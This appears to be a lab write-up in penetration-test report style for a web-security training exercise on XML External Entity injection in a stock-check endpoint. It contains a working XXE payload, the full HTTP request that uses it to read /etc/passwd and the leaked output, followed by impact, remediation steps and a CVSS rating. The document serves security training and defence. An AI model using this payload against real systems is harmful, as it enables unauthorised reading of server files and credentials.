

Title of Issue

XML External Entity (XXE) Injection — File Retrieval via External Entities

Description

The application's stock-check feature parses XML input submitted by the client. The XML parser is configured to process external entity declarations, making it vulnerable to XML External Entity (XXE) injection. An attacker can define a custom external entity that references a local file path on the server, causing the parser to substitute the entity reference with the file's contents, which are then returned in the application's response.

Affected Endpoint: `POST /product/stock` **Content-Type:** `application/xml`

The application expects the following XML structure:

```
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>
```

By injecting a DOCTYPE declaration with an external entity pointing to `/etc/passwd`, the file contents are leaked in the response.

Steps to Exploit

1. Navigate to any product detail page.
2. Click **Check stock** and intercept the resulting `POST /product/stock` request.
3. Observe that the request body contains XML with `<productId>` and `<storeId>` elements.
4. Replace the entire request body with the following XXE payload:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
  <productId>&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>
```

5. Forward the modified request.
 6. Observe that the server responds with the contents of `/etc/passwd`.
-

Proof of Concept

Injected Request Body:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
```

```
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
```

HTTP Request:

```
POST /product/stock HTTP/1.1
Host: <lab-id>.web-security-academy.net
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```

Response (excerpt):

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
carlos:x:1000:1000::/home/carlos:/bin/bash
```

The external entity `&xxe;` is resolved by the XML parser to the contents of `/etc/passwd`, which is then embedded into the `<productId>` element. The application returns this value in the error message or response body.

Impact

- Arbitrary local file read — attackers can access any file readable by the web server process (e.g., application configuration, private keys, `/etc/shadow`).
- Exposure of credentials stored in configuration files.
- Can be chained with SSRF to probe internal network services.
- In some configurations, can lead to Remote Code Execution via PHP expect wrappers or other attack vectors.
- Disclosure of system user accounts for targeted brute-force attacks.

Mitigation / Remediation

1. **Disable external entity processing** in the XML parser — this is the most effective mitigation. In Java: `factory.setFeature("http://xml.org/sax/features/external-general-entities", false)`.
2. **Disable DTD (DOCTYPE) processing entirely** where not required.
3. **Use a less complex data format** such as JSON where XML is not strictly necessary.
4. **Apply input validation** on the Content-Type header to reject unexpected formats.
5. **Run the application with least-privilege file system access** to limit which files can be read.

CVSS Score

CVSS v3.1 Score: 7.5 (High) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVSS Justification

Metric	Value	Rationale
Attack Vector	Network	Exploitable remotely via HTTP request
Attack Complexity	Low	Standard payload, no special conditions
Privileges Required	None	Stock check is available without authentication
User Interaction	None	No victim action required
Scope	Unchanged	Impact contained within the server's file system
Confidentiality Impact	High	Arbitrary file read exposes sensitive server files
Integrity Impact	None	Read-only exploitation in this scenario
Availability Impact	None	No service disruption observed